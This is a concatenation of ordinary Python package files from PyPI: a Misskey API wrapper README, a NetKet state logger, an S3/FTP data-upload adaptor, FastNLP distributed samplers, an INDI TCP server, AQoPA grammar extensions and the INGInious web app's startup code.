dfs_image_cns = pd.DataFrame(model.transform(feats), index=feats.index, columns=model.topic_weights.columns)
cns = ds.get_data_tpl_copy()
for sample_image in dfs_image:
sample, image = sample_image.split('-')
sample = int(sample) if sample.isnumeric() else sample
image = int(image) if image.isnumeric() else image
for i, _ in dfs_image[sample_image].iterrows():
cns[sample][image].append(np.argmax(dfs_image_cns.loc(axis=0)[(sample_image, i),]))
feats = feats.reindex(sorted(feats.columns), axis=1).to_numpy()
return cns, feats | PypiClean |
/MisskeyAPI-0.1.0.tar.gz/MisskeyAPI-0.1.0/README.md | # MisskeyAPI
Python wrapper for Miskkey API (WIP)
Sample usage:
```
from misskey.misskeyapi import MisskeyAPI
misskey = MisskeyAPI("https://your.misskey.instance")
app_secret = misskey.app_create(
app_name,
description,
permission,
callbackUrl
)
response = misskey.auth_session_generate(app_secret)
if response.ok:
token = response.json()['token']
url = response.json()['url']
input(f'open this url in your browser: {url} and accept it. Then press enter')
else:
print(response)
response = misskey.auth_session_userkey(app_secret, token)
if response.ok:
token = response.json()['accessToken']
else:
print(response.text)
```
Store or write down in a safe place this last obtained `token` to further usage with any of the API endpoints that require it (param `i(token)`).
| **description** | **Misskey API endpoint** | **method** | **params** |
|-----------------------|----------------------------|-----------------------|-----------------------------------------------------|
| i | /api/i | account_i | i(token) |
| create app | /api/app/create | app_create | name, description, permission, callbackUrl, session |
| show app | /api/app/show | app_show | app_id, session |
| generate auth session | /api/auth/session/generate | auth_session_generate | app_secret |
| show auth session | /api/auth/session/show | auth_session_show | token |
| auth session userkey | /api/auth/session/userkey | auth_session_userkey | app_secret, token |
| create note | /api/notes/create | notes_create | i(token), visibility, text, local_only |
| create group | /api/users/groups/create | users_groups_create | i(token), groupId |
| delete group | /api/users/groups/delete | users_groups_delete | i(token), groupId |
| PypiClean |
/netket-3.9.2.tar.gz/netket-3.9.2/netket/logging/state_log.py |
import tarfile
import time
from io import BytesIO
import glob
import os
from os import path as _path
from flax import serialization
def save_binary_to_tar(tar_file, byte_data, name):
abuf = BytesIO(byte_data)
# Construct the info object with the correct length
info = tarfile.TarInfo(name=name)
info.size = len(abuf.getbuffer())
# actually save the data to the tar file
tar_file.addfile(tarinfo=info, fileobj=abuf)
class StateLog:
"""
A logger which serializes the variables of the variational state during a run.
The data is saved either to a directory or tar archive in a sequence of files named
`[0.mpack, 1.mpack, ...]` where the filename is incremented every time the logger is
called. The tar file inside is not flushed to disk (closed) until this object is
deleted or python is shut down.
"""
def __init__(
self,
output_prefix: str,
mode: str = "write",
save_every: int = 1,
tar: bool = False,
):
"""
Initialize the :code:`StateLogger`.
Args:
output_prefix: the name of the output file before the extension (if
tar=True) or of the output folder.
save_every: every how many iterations the variables should be saved.
(default 1)
mode: Specify the behaviour in case the file already exists at this
output_prefix. Options are
**`[w]rite`**: (default) overwrites file/delete the folder if it already exists;
**`[a]ppend`**: appends to the file/folder if it exists, otherwise creates a new file;
**`[x]`** or **`fail`**: fails if file/folder already exists;
tar: if True creates a tar archive instead of a folder.
"""
super().__init__()
# Shorthands for mode
if mode == "w":
mode = "write"
elif mode == "a":
mode = "append"
elif mode == "x":
mode = "fail"
if not ((mode == "write") or (mode == "append") or (mode == "fail")):
raise ValueError(
"Mode not recognized: should be one of `[w]rite`, `[a]ppend` or "
"`[x]`(fail)."
)
if tar is True:
file_exists = _path.exists(output_prefix + ".tar")
else:
if output_prefix[-1] != "/":
output_prefix = output_prefix + "/"
file_exists = _path.exists(output_prefix)
if file_exists and mode == "fail":
raise ValueError(
"Output file/folder already exists. Either delete it manually or "
"change `output_prefix`."
)
dir_name = _path.dirname(output_prefix)
if dir_name != "":
os.makedirs(dir_name, exist_ok=True)
self._prefix = output_prefix
self._file_mode = mode
self._save_every = save_every
self._old_step = 0
self._steps_notsaved = 0
self._init = False
self._runtime_taken = 0.0
# tar
self._tar = tar
self._tar_file = None
self._closed = False
def _init_output(self):
if self._tar:
self._create_tar_file()
else:
self._check_output_folder()
self._init = True
def _create_tar_file(self):
if self._tar_file is None:
self._tar_file = tarfile.TarFile(self._prefix + ".tar", self._file_mode[0])
self._file_step = 0
if self._file_mode == "append":
files = self._tar_file.getnames()
file_numbers = [int(file[:-6]) for file in files]
file_numbers.sort()
self._file_step = file_numbers[-1] + 1
def _check_output_folder(self):
self._file_step = 0
if self._file_mode == "write":
for file in glob.glob(self._prefix + "*.mpack"):
os.remove(file)
os.makedirs(self._prefix, exist_ok=True)
elif self._file_mode == "append":
files = glob.glob(self._prefix + "*.mpack")
file_numbers = [int(_path.basename(file)[:-6]) for file in files]
file_numbers.sort()
self._file_step = file_numbers[-1] + 1
def close(self):
if not self._closed and self._tar_file is not None:
self._tar_file.close()
self._closed = True
def __call__(self, step, item, variational_state):
old_step = self._old_step
if self._steps_notsaved % self._save_every == 0 or step == old_step - 1:
self._save_variables(variational_state)
self._old_step = step
self._steps_notsaved += 1
def _save_variables(self, variational_state):
if self._init is False:
self._init_output()
_time = time.time()
binary_data = serialization.to_bytes(variational_state.variables)
if self._tar:
save_binary_to_tar(
self._tar_file, binary_data, str(self._file_step) + ".mpack"
)
else:
with open(self._prefix + str(self._file_step) + ".mpack", "wb") as f:
f.write(binary_data)
self._file_step += 1
self._runtime_taken += time.time() - _time
def __del__(self):
if hasattr(self, "_closed"):
self.close()
def flush(self, variational_state):
pass
def __repr__(self):
return f"TarLog('{self._prefix}', mode={self._file_mode})"
def __str__(self):
_str = self.__repr__()
_str = _str + f"\n Runtime cost: {self._runtime_taken}"
return _str | PypiClean |
/Data_Adaptor_sourav-0.2.8-py3-none-any.whl/DataAdaptor/input.py | import ftplib
from contextlib import closing
import os
from urllib.parse import urlparse
import zipfile
import requests
import boto3
from .config import EXTENSION_LIST
from config import S3_BUCKET_NAME
from .config import INPUT_FILE_FOLDER
SESSION = boto3.Session()
S3 = SESSION.resource('s3')
def upload_file_to_s3(local_file_path):
"""
Upload File to s3
"""
try:
# saving file to s3
S3.meta.client.upload_file(
local_file_path, S3_BUCKET_NAME, INPUT_FILE_FOLDER + os.path.basename(local_file_path))
return INPUT_FILE_FOLDER + os.path.basename(local_file_path)
except Exception as error:
return error
class InputAdaptor:
"""
Input Adaptor class
"""
def __init__(self):
pass
def file_upload(self, local_file_path, cloud_name):
"""
File Input Funtion
"""
try:
extension = os.path.splitext(local_file_path)[-1].lower()
if extension in EXTENSION_LIST:
# check file extension is valid from specified extension list
if cloud_name.lower() == 'aws':
# checking cloud name
# calling function to save data to s3
file_path=upload_file_to_s3(local_file_path)
return file_path
else:
raise Exception("Sorry, invalid cloud")
except FileNotFoundError:
return "file not found"
def zip_upload(self, zip_file, cloud_name):
'''
zip file upload Function
'''
try:
if zipfile.is_zipfile(zip_file):
# checking given file is zip
with zipfile.ZipFile(zip_file, "r") as zip_file_name:
# reading zip file
for file_name in zip_file_name.namelist():
# extracting files from zip
extension = os.path.splitext(file_name)[-1].lower()
if extension not in EXTENSION_LIST:
# checking if any invalid extension file in present in zip file
raise Exception("Sorry, invalid zip file")
if cloud_name.lower() == 'aws':
# checking cloud name
file_path=upload_file_to_s3(zip_file)
return file_path
else:
return "Sorry, invalid cloud"
else:
return "Sorry, given File is not a zip file"
except FileNotFoundError:
return "file not found"
def url_upload(self, link, colud_name):
"""
url file upload Function
"""
try:
# saving file in object from url
url_object = requests.get(link, stream=True).raw
file_name = os.path.basename(urlparse(link).path)
# extracting file extension
extension = os.path.splitext(file_name)[-1].lower()
if extension in EXTENSION_LIST:
# check file extension is valid from specified extension list
if colud_name.lower() == 'aws': # checking cloud name
# saving data to s3
S3.meta.client.upload_fileobj(
url_object, S3_BUCKET_NAME, INPUT_FILE_FOLDER + file_name)
return INPUT_FILE_FOLDER+file_name
else:
return 'invalid cloud option'
else:
return "invalid url"
except IOError:
return "url not found"
def ftp_upload(self, ftp_host, username, password, ftp_folder_path, cloud_name):
"""
ftp file upload function
"""
try:
with closing(ftplib.FTP()) as ftp:
# connect to the FTP server
ftp.connect(ftp_host, 21, 30*5) # 5 mins timeout
ftp.login(username, password)
ftp.set_pasv(True)
# get filenames within the directory
filenames = ftp.nlst(ftp_folder_path)
lst = []
for filename in filenames:
# extrating particular filename from filenames
tmp_path = os.path.join('/tmp', os.path.basename(filename))
extension = os.path.splitext(tmp_path)[-1].lower()
if extension in EXTENSION_LIST:
# check file extension is valid from specified extension list
if not os.path.exists(tmp_path):
# check if file already exist in tmp folder
with open(tmp_path, 'wb') as f:
# writing file at /tmp folder
ftp.retrbinary('RETR %s' %
filename, f.write)
if cloud_name.lower() == 'aws':
# checking cloud name
# calling function to save data to s3
s3_file = upload_file_to_s3(tmp_path)
# appending s3's response to list
lst.append(s3_file)
else:
raise Exception("Sorry, invalid cloud ")
else:
return "file already exist in tmp folder"
else:
return "Sorry, file format"
return lst
except Exception as error:
return error | PypiClean |
/FastNLP-1.0.1.tar.gz/FastNLP-1.0.1/fastNLP/core/samplers/unrepeated_sampler.py | __all__ = [
'UnrepeatedSampler',
'UnrepeatedSortedSampler',
'UnrepeatedRandomSampler',
"UnrepeatedSequentialSampler"
]
from typing import List, Union
from fastNLP.core.dataset import DataSet
import numpy as np
class UnrepeatedSampler:
"""
在多卡场景下保证 indice 不重复的 Sampler。
"""
pass
class UnrepeatedRandomSampler(UnrepeatedSampler):
"""
考虑在多卡 evaluate 的场景下,不能重复采样。
:param dataset: 实现了 __len__ 方法的数据容器
:param shuffle: 如果为 ``True``,将不进行 shuffle,实际上数据会以从长到短的方式输出
:param seed: 设置的随机数种子
:param kwargs: fastNLP 内部使用的参数
"""
def __init__(self, dataset, shuffle: bool = False, seed: int = 0, **kwargs):
self.dataset = dataset
self.shuffle = shuffle
self.seed = int(seed)
# 多卡的相关的参数
self.num_replicas = kwargs.get('num_replicas', 1)
self.rank = kwargs.get('rank', 0)
self.epoch = kwargs.get('epoch', -1)
def __len__(self):
"""
返回 ``Sampler`` 一次完整的迭代过程会产生多少个 index 。多卡的情况下,只考虑 **当前rank** 。
:return:
"""
num_common = self.num_samples//self.num_replicas
num_samples = num_common + int(self.rank < (self.num_samples-num_common*self.num_replicas))
return num_samples
def __iter__(self):
indices = self.generate_indices()
# subsample
indices = indices[self.rank:len(indices):self.num_replicas]
assert len(indices) == len(self)
for index in indices:
yield index
def generate_indices(self) -> List[int]:
"""
生成随机序列
:return:
"""
if self.shuffle:
indices = list(range(self.num_samples))
seed = self.seed + self.epoch
rng = np.random.default_rng(abs(seed))
rng.shuffle(indices)
if self.epoch < 0: # 防止用户忘记调用 set_epoch,至少这样可以保证每次epoch出来的index顺序不同。
self.epoch -= 1
else:
indices = list(range(self.num_samples))
return indices
def set_epoch(self, epoch: int) -> None:
self.epoch = epoch
def set_distributed(self, num_replicas, rank):
"""
该方法本质上等同于 ddp 情形下的没有完成的初始化,应当在初始化该 Sampler 本身后立即被调用。
:param num_replicas: 分布式训练中的进程总数
:param rank: 当前进程的 ``global_rank``
:return: 自身
"""
assert num_replicas<=self.num_samples, f"The number of replicas({num_replicas}) should be lesser than the " \
f"number of samples({self.num_samples})."
assert num_replicas>0 and isinstance(num_replicas, int)
assert isinstance(rank, int) and 0<=rank<num_replicas
# 注意初始化该函数时,所有的状态都应当默认是一个 epoch 刚开始训练的状态;
self.num_replicas = num_replicas
self.rank = rank
return self
@property
def num_samples(self):
"""
样本的总数
"""
return getattr(self.dataset, 'total_len', len(self.dataset))
class UnrepeatedSortedSampler(UnrepeatedRandomSampler):
"""
将 ``dataset`` 中的数据根据 ``length`` 从长到短进行迭代,并且保证在多卡场景下数据不重复。
.. note::
本 Sampler 可能导致各个机器上的batch 数量不完全一致。
:param dataset: 实现了 __len__ 方法的数据容器
:param length: 每条数据的长度
* 为 ``List[int]`` 时
应当与 dataset 有一样的长度,表示 dataset 中每个元素的数量;
* 为 ``str`` 时
仅当传入的 ``dataset`` 是 :class:`~fastNLP.DataSet` 时,允许传入 `str` ,该 `str` 将被认为是 ``dataset`` 中的
``field`` 。若 field 中的元素为 ``int``,则认为该值是 sample 的长度;若不为 ``int`` ,则尝试使用 ``len`` 方法
获取该 ``field`` 中每个元素的长度;
:param kwargs: fastNLP 内部使用的参数
"""
def __init__(self, dataset, length:Union[str, List], **kwargs):
kwargs['shuffle'] = False
kwargs['seed'] = 0
super().__init__(dataset=dataset, **kwargs)
if isinstance(dataset, DataSet) and isinstance(length, str):
length = dataset.get_field(length).content
if not isinstance(length[0], int):
length = list(map(len, length))
else:
assert len(length) == len(dataset), "When the dataset is not fastNLP.DataSet, " \
"the length parameter can only be List[int]"
assert len(length) == len(dataset), "The length of `data` and `length` should be equal."
length = np.array(length, dtype=int) # 按照长到短排列的序号。
self.sorted_indices = np.argsort(length)[::-1].tolist() # 按长度从高到低排序的
def generate_indices(self) -> List[int]:
return self.sorted_indices
class UnrepeatedSequentialSampler(UnrepeatedRandomSampler):
"""
按照顺序读取 dataset。
:param dataset: 实现了 __len__ 方法的数据容器。
:param chunk_dist: 如果为 ``True`` ,当多卡时将不间隔索取数据;为 ``False`` 时则会间隔取数据。假设 dataset 有 10 个 sample ,使用
2 卡,如果为 ``True`` ,卡 **0** 拿 [0, 1, 2, 3, 4], 卡 **1** 拿 [5, 6, 7, 8, 9] ; 如果为 ``False`` ,则卡 **0** 拿 [0, 2, 4, 8, 8],
卡 **1** 拿 [1, 3, 5, 7, 9] 。
:param kwargs:
"""
def __init__(self, dataset, chunk_dist=False, **kwargs):
kwargs['shuffle'] = False
kwargs['seed'] = 0
super(UnrepeatedSequentialSampler, self).__init__(dataset, **kwargs)
self.chunk_dist = chunk_dist
def __iter__(self):
indices = self.generate_indices()
if self.num_replicas>1:
if self.chunk_dist:
chunk_size = len(indices)//self.num_replicas
start = chunk_size * self.rank
end = chunk_size * (self.rank + 1)
if self.rank == self.num_replicas - 1:
end = len(indices)
indices = indices[start:end]
else:
indices = indices[self.rank:len(indices):self.num_replicas]
for index in indices:
yield index
def generate_indices(self) -> List[int]:
return list(range(self.num_samples)) | PypiClean |
/INDIpy-0.4.0.tar.gz/INDIpy-0.4.0/indi/transport/server/tcp.py | import asyncio
import logging
from typing import List
from indi.message import IndiMessage
from indi.routing import Client, Router
from indi.transport import Buffer
logger = logging.getLogger(__name__)
class ConnectionHandler(Client):
connections: List["ConnectionHandler"] = []
def __init__(
self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, router: Router
):
self.buffer = Buffer()
self.reader, self.writer = reader, writer
self.router = router
self.sender_lock = asyncio.Lock()
if self.router:
self.router.register_client(self)
@classmethod
def handler(cls, router: Router):
async def handler_func(reader, writer):
conn = cls(reader, writer, router)
cls.connections.append(conn)
try:
await conn.wait_for_messages()
except:
logger.exception("Error in client handler loop")
conn.close()
cls.connections.remove(conn)
return handler_func
async def wait_for_messages(self):
while True:
logger.debug(f"TCP: waiting for data")
message = await self.reader.read(1024)
if not message:
logger.debug(f"TCP: no data, breaking")
break
logger.debug("TCP: got data: %s", message)
self.buffer.append(message.decode("latin1"))
self.buffer.process(self.message_from_client)
def message_from_client(self, message: IndiMessage):
if self.router:
self.router.process_message(message, sender=self)
def message_from_device(self, message: IndiMessage):
data = message.to_string()
asyncio.get_running_loop().create_task(self.send(data))
async def send(self, data: bytes):
async with self.sender_lock:
logger.debug("TCP: sending data: %s", data)
self.writer.write(data)
await self.writer.drain()
def close(self):
self.writer.close()
if self.router:
self.router.unregister_client(self)
class TCP:
def __init__(self, router: Router, address="0.0.0.0", port=7624):
self.address = address
self.port = port
self.router = router
async def client_connected(
self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter
):
handler = ConnectionHandler.handler(self.router)
await handler(reader, writer)
async def start(self):
logger.info("Starting async TCP INDI server on %s:%s", self.address, self.port)
server = await asyncio.start_server(
self.client_connected, self.address, self.port
)
try:
async with server:
await server.serve_forever()
finally:
for conn in ConnectionHandler.connections:
conn.close() | PypiClean |
/AQoPA-0.9.5.tar.gz/AQoPA-0.9.5/aqopa/module/timeanalysis/parser.py | from aqopa.model import MetricsServiceParam
from aqopa.model.parser.lex_yacc import LexYaccParserExtension
class Builder():
def create_metrics_services_param_time(self, token):
"""
metrics_services_param : SQLPARAN TIME COLON metrics_services_time_type LPARAN metrics_services_time_unit RPARAN SQRPARAN
| SQLPARAN TIME COLON metrics_services_time_two_params_type LPARAN metrics_services_exact_time_unit COMMA metrics_services_size_unit RPARAN SQRPARAN
"""
if len(token) == 9:
return MetricsServiceParam(token[2], token[4], token[6])
else:
return MetricsServiceParam(token[2], token[4], (token[6], token[8]))
class ModelParserExtension(LexYaccParserExtension):
"""
Extension for timeanalysis module communications time
"""
#######################
# Communication Time
#######################
def time_default_parameter(self, t):
"""
medium_default_parameter : TIME_DEFAULT_PARAMETER EQUAL comm_time_value
"""
t[0] = {'default_time': t[3]}
def topology_rule_time_parameter(self, t):
"""
topology_rule_parameter : TIME_PARAMETER EQUAL comm_time_value
"""
t[0] = {'time': t[3]}
def comm_time_value(self, t):
"""
comm_time_value : comm_time_metric
| comm_time_algorithm
"""
t[0] = t[1]
def comm_time_metric(self, t):
"""
comm_time_metric : number comm_time_metric_unit
"""
t[0] = {
'type': 'metric',
'value': t[1],
'unit': t[2]
}
def comm_time_algorithm(self, t):
"""
comm_time_algorithm : IDENTIFIER SQLPARAN comm_time_metric_unit SQRPARAN
| IDENTIFIER
"""
unit = 'ms'
if len(t) == 5:
unit = t[3]
t[0] = {
'type': 'algorithm',
'name': t[1],
'unit': unit
}
def comm_time_metric_unit(self, t):
"""
comm_time_metric_unit : MS
| MSPBIT
| MSPBYTE
| KBYTEPS
| MBYTEPS
"""
t[0] = t[1]
def _extend(self):
""" """
self.parser.add_reserved_word('ms', 'MS', state='communication', case_sensitive=True)
self.parser.add_reserved_word('mspb', 'MSPBIT', state='communication', case_sensitive=True)
self.parser.add_reserved_word('mspB', 'MSPBYTE', state='communication', case_sensitive=True)
self.parser.add_reserved_word('kbps', 'KBYTEPS', state='communication', case_sensitive=True)
self.parser.add_reserved_word('mbps', 'MBYTEPS', state='communication', case_sensitive=True)
self.parser.add_reserved_word('default_time', 'TIME_DEFAULT_PARAMETER', state='communication',)
self.parser.add_reserved_word('time', 'TIME_PARAMETER', state='communication',)
self.parser.add_rule(self.time_default_parameter)
self.parser.add_rule(self.topology_rule_time_parameter)
self.parser.add_rule(self.comm_time_value)
self.parser.add_rule(self.comm_time_metric)
self.parser.add_rule(self.comm_time_metric_unit)
self.parser.add_rule(self.comm_time_algorithm)
class ConfigParserExtension(LexYaccParserExtension):
"""
Extension for timeanalysis module communications time
"""
#######################
# Communication Time
#######################
def version_time_default_parameter(self, t):
"""
version_medium_default_parameter : TIME_DEFAULT_PARAMETER EQUAL version_comm_time_value
"""
t[0] = {'default_time': t[3]}
def version_topology_rule_time_parameter(self, t):
"""
version_topology_rule_parameter : TIME_PARAMETER EQUAL version_comm_time_value
"""
t[0] = {'time': t[3]}
def version_comm_time_value(self, t):
"""
version_comm_time_value : version_comm_time_metric
| version_comm_time_algorithm
"""
t[0] = t[1]
def version_comm_time_metric(self, t):
"""
version_comm_time_metric : number version_comm_time_metric_unit
"""
t[0] = {
'type': 'metric',
'value': t[1],
'unit': t[2]
}
def version_comm_time_algorithm(self, t):
"""
version_comm_time_algorithm : IDENTIFIER SQLPARAN version_comm_time_metric_unit SQRPARAN
| IDENTIFIER
"""
unit = 'ms'
if len(t) == 5:
unit = t[3]
t[0] = {
'type': 'algorithm',
'name': t[1],
'unit': unit
}
def version_comm_time_metric_unit(self, t):
"""
version_comm_time_metric_unit : MS
| MSPBIT
| MSPBYTE
| KBYTEPS
| MBYTEPS
"""
t[0] = t[1]
def _extend(self):
""" """
self.parser.add_reserved_word('ms', 'MS', state='versioncommunication', case_sensitive=True)
self.parser.add_reserved_word('mspb', 'MSPBIT', state='versioncommunication', case_sensitive=True)
self.parser.add_reserved_word('mspB', 'MSPBYTE', state='versioncommunication', case_sensitive=True)
self.parser.add_reserved_word('kbps', 'KBYTEPS', state='versioncommunication', case_sensitive=True)
self.parser.add_reserved_word('mbps', 'MBYTEPS', state='versioncommunication', case_sensitive=True)
self.parser.add_reserved_word('default_time', 'TIME_DEFAULT_PARAMETER', state='versioncommunication',)
self.parser.add_reserved_word('time', 'TIME_PARAMETER', state='versioncommunication',)
self.parser.add_rule(self.version_time_default_parameter)
self.parser.add_rule(self.version_topology_rule_time_parameter)
self.parser.add_rule(self.version_comm_time_value)
self.parser.add_rule(self.version_comm_time_metric)
self.parser.add_rule(self.version_comm_time_metric_unit)
self.parser.add_rule(self.version_comm_time_algorithm)
class MetricsParserExtension(LexYaccParserExtension):
"""
Extension for parsing timeanalysis module metrics
"""
def __init__(self):
LexYaccParserExtension.__init__(self)
self.builder = Builder()
#######################
# Metrics Time
#######################
def metrics_services_param_time(self, t):
"""
metrics_services_param : SQLPARAN TIME COLON metrics_services_time_type LPARAN metrics_services_time_unit RPARAN SQRPARAN
| SQLPARAN TIME COLON metrics_services_time_two_params_type LPARAN metrics_services_exact_time_unit COMMA metrics_services_size_unit RPARAN SQRPARAN
"""
t[0] = self.builder.create_metrics_services_param_time(t)
def metrics_services_time_one_param_type(self, t):
"""
metrics_services_time_type : EXACT
| RANGE
| ALGORITHM
"""
t[0] = t[1].lower()
def metrics_services_time_two_params_type(self, t):
"""
metrics_services_time_two_params_type : BLOCK
"""
t[0] = t[1].lower()
def metrics_services_time_unit(self, t):
"""
metrics_services_time_unit : S
| MS
| MSPBIT
| MSPBYTE
| KBYTEPS
| MBYTEPS
"""
t[0] = t[1]
def metrics_services_exact_time_unit(self, t):
"""
metrics_services_exact_time_unit : S
| MS
"""
t[0] = t[1].lower()
def metrics_services_size_unit(self, t):
"""
metrics_services_size_unit : B
| b
"""
t[0] = t[1]
def _extend(self):
""" """
self.parser.add_token('COMMA', r'\,', states=['metricsprimhead'])
self.parser.add_reserved_word('time', 'TIME', state='metricsprimhead', case_sensitive=False)
self.parser.add_reserved_word('exact', 'EXACT', state='metricsprimhead', case_sensitive=False)
self.parser.add_reserved_word('range', 'RANGE', state='metricsprimhead', case_sensitive=False)
self.parser.add_reserved_word('s', 'S', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('ms', 'MS', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('mspb', 'MSPBIT', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('mspB', 'MSPBYTE', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('kbps', 'KBYTEPS', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('mbps', 'MBYTEPS', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('algorithm', 'ALGORITHM', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('block', 'BLOCK', state='metricsprimhead', case_sensitive=False)
self.parser.add_reserved_word('b', 'b', state='metricsprimhead', case_sensitive=True)
self.parser.add_reserved_word('B', 'B', state='metricsprimhead', case_sensitive=True)
self.parser.add_rule(self.metrics_services_param_time)
self.parser.add_rule(self.metrics_services_time_one_param_type)
self.parser.add_rule(self.metrics_services_time_two_params_type)
self.parser.add_rule(self.metrics_services_time_unit)
self.parser.add_rule(self.metrics_services_exact_time_unit)
self.parser.add_rule(self.metrics_services_size_unit) | PypiClean |
/INGInious-0.8.7.tar.gz/INGInious-0.8.7/inginious/frontend/app.py |
""" Starts the webapp """
import builtins
import os
import sys
import flask
import pymongo
import oauthlib
from gridfs import GridFS
from binascii import hexlify
from pymongo import MongoClient
from werkzeug.exceptions import InternalServerError
import inginious.frontend.pages.course_admin.utils as course_admin_utils
import inginious.frontend.pages.preferences.utils as preferences_utils
from inginious.frontend.environment_types import register_base_env_types
from inginious.frontend.arch_helper import create_arch, start_asyncio_and_zmq
from inginious.frontend.pages.utils import register_utils
from inginious.frontend.plugin_manager import PluginManager
from inginious.frontend.submission_manager import WebAppSubmissionManager
from inginious.frontend.submission_manager import update_pending_jobs
from inginious.frontend.template_helper import TemplateHelper
from inginious.frontend.user_manager import UserManager
from inginious.frontend.l10n_manager import L10nManager
from inginious import get_root_path, __version__, DB_VERSION
from inginious.frontend.course_factory import create_factories
from inginious.common.entrypoints import filesystem_from_config_dict
from inginious.common.filesystems.local import LocalFSProvider
from inginious.frontend.lti_outcome_manager import LTIOutcomeManager
from inginious.frontend.task_problems import *
from inginious.frontend.task_dispensers.toc import TableOfContents
from inginious.frontend.task_dispensers.combinatory_test import CombinatoryTest
from inginious.frontend.flask.mapping import init_flask_mapping, init_flask_maintenance_mapping
from inginious.frontend.flask.mongo_sessions import MongoDBSessionInterface
from inginious.frontend.flask.mail import mail
def _put_configuration_defaults(config):
"""
:param config: the basic configuration as a dict
:return: the same dict, but with defaults for some unfilled parameters
"""
if 'allowed_file_extensions' not in config:
config['allowed_file_extensions'] = [".c", ".cpp", ".java", ".oz", ".zip", ".tar.gz", ".tar.bz2", ".txt"]
if 'max_file_size' not in config:
config['max_file_size'] = 1024 * 1024
if 'session_parameters' not in config or 'secret_key' not in config['session_parameters']:
print("Please define a secret_key in the session_parameters part of the configuration.", file=sys.stderr)
print("You can simply add the following (the text between the lines, without the lines) "
"to your INGInious configuration file. We generated a random key for you.", file=sys.stderr)
print("-------------", file=sys.stderr)
print("session_parameters:", file=sys.stderr)
print('\ttimeout: 86400 # 24 * 60 * 60, # 24 hours in seconds', file=sys.stderr)
print('\tignore_change_ip: False # change this to True if you want user to keep their session if they change their IP', file=sys.stderr)
print('\tsecure: False # change this to True if you only use https', file=sys.stderr)
print('\tsecret_key: "{}"'.format(hexlify(os.urandom(32)).decode('utf-8')), file=sys.stderr)
print("-------------", file=sys.stderr)
exit(1)
if 'session_parameters' not in config:
config['session_parameters'] = {}
default_session_parameters = {
"cookie_name": "inginious_session_id",
"cookie_domain": None,
"cookie_path": None,
"samesite": "Lax",
"timeout": 86400, # 24 * 60 * 60, # 24 hours in seconds
"ignore_change_ip": False,
"httponly": True,
"secret_key": "fLjUfxqXtfNoIldA0A0G",
"secure": False
}
for k, v in default_session_parameters.items():
if k not in config['session_parameters']:
config['session_parameters'][k] = v
# flask migration
config["DEBUG"] = config.get("web_debug", False)
config["SESSION_COOKIE_NAME"] = "inginious_session_id"
config["SESSION_USE_SIGNER"] = True
config["PERMANENT_SESSION_LIFETIME"] = config['session_parameters']["timeout"]
config["SECRET_KEY"] = config['session_parameters']["secret_key"]
smtp_conf = config.get('smtp', None)
if smtp_conf is not None:
config["MAIL_SERVER"] = smtp_conf["host"]
config["MAIL_PORT"] = int(smtp_conf["port"])
config["MAIL_USE_TLS"] = bool(smtp_conf.get("starttls", False))
config["MAIL_USE_SSL"] = bool(smtp_conf.get("usessl", False))
config["MAIL_USERNAME"] = smtp_conf.get("username", None)
config["MAIL_PASSWORD"] = smtp_conf.get("password", None)
config["MAIL_DEFAULT_SENDER"] = smtp_conf.get("sendername", "[email protected]")
return config
def get_homepath(ignore_session=False, force_cookieless=False):
"""
:param ignore_session: Ignore the cookieless session_id that should be put in the URL
:param force_cookieless: Force the cookieless session; the link will include the session_creator if needed.
"""
session = flask.session
request = flask.request
if not ignore_session and session.sid is not None and session.cookieless:
return request.url_root[:-1] + "/@" + session.sid + "@"
elif not ignore_session and force_cookieless:
return request.url_root[:-1] + "/@@"
else:
return request.url_root[:-1]
def _close_app(mongo_client, client):
""" Ensures that the app is properly closed """
client.close()
mongo_client.close()
def get_app(config):
"""
:param config: the configuration dict
:return: A new app
"""
# First, disable debug. It will be enabled in the configuration, later.
config = _put_configuration_defaults(config)
mongo_client = MongoClient(host=config.get('mongo_opt', {}).get('host', 'localhost'))
database = mongo_client[config.get('mongo_opt', {}).get('database', 'INGInious')]
gridfs = GridFS(database)
# Init database if needed
db_version = database.db_version.find_one({})
if db_version is None:
database.submissions.create_index([("username", pymongo.ASCENDING)])
database.submissions.create_index([("courseid", pymongo.ASCENDING)])
database.submissions.create_index([("courseid", pymongo.ASCENDING), ("taskid", pymongo.ASCENDING)])
database.submissions.create_index([("submitted_on", pymongo.DESCENDING)]) # sort speed
database.submissions.create_index([("status", pymongo.ASCENDING)]) # update_pending_jobs speedup
database.user_tasks.create_index(
[("username", pymongo.ASCENDING), ("courseid", pymongo.ASCENDING), ("taskid", pymongo.ASCENDING)],
unique=True)
database.user_tasks.create_index([("username", pymongo.ASCENDING), ("courseid", pymongo.ASCENDING)])
database.user_tasks.create_index([("courseid", pymongo.ASCENDING), ("taskid", pymongo.ASCENDING)])
database.user_tasks.create_index([("courseid", pymongo.ASCENDING)])
database.user_tasks.create_index([("username", pymongo.ASCENDING)])
database.db_version.insert_one({"db_version": DB_VERSION})
elif db_version.get("db_version", 0) != DB_VERSION:
raise Exception("Please update the database before running INGInious")
flask_app = flask.Flask(__name__)
flask_app.config.from_mapping(**config)
flask_app.session_interface = MongoDBSessionInterface(
mongo_client, config.get('mongo_opt', {}).get('database', 'INGInious'),
"sessions", config.get('SESSION_USE_SIGNER', False), True # config.get('SESSION_PERMANENT', True)
)
# Init gettext
available_translations = {
"fr": "Français",
"es": "Español",
"pt": "Português",
"el": "ελληνικά",
"vi": "Tiếng Việt",
"nl": "Nederlands",
"de": "Deutsch",
"he": "עִבְרִית"
}
available_languages = {"en": "English"}
available_languages.update(available_translations)
l10n_manager = L10nManager()
l10n_manager.translations["en"] = gettext.NullTranslations() # English does not need translation ;-)
for lang in available_translations.keys():
l10n_manager.translations[lang] = gettext.translation('messages', get_root_path() + '/frontend/i18n', [lang])
builtins.__dict__['_'] = l10n_manager.gettext
if config.get("maintenance", False):
template_helper = TemplateHelper(PluginManager(), None, config.get('use_minified_js', True))
template_helper.add_to_template_globals("get_homepath", get_homepath)
template_helper.add_to_template_globals("pkg_version", __version__)
template_helper.add_to_template_globals("available_languages", available_languages)
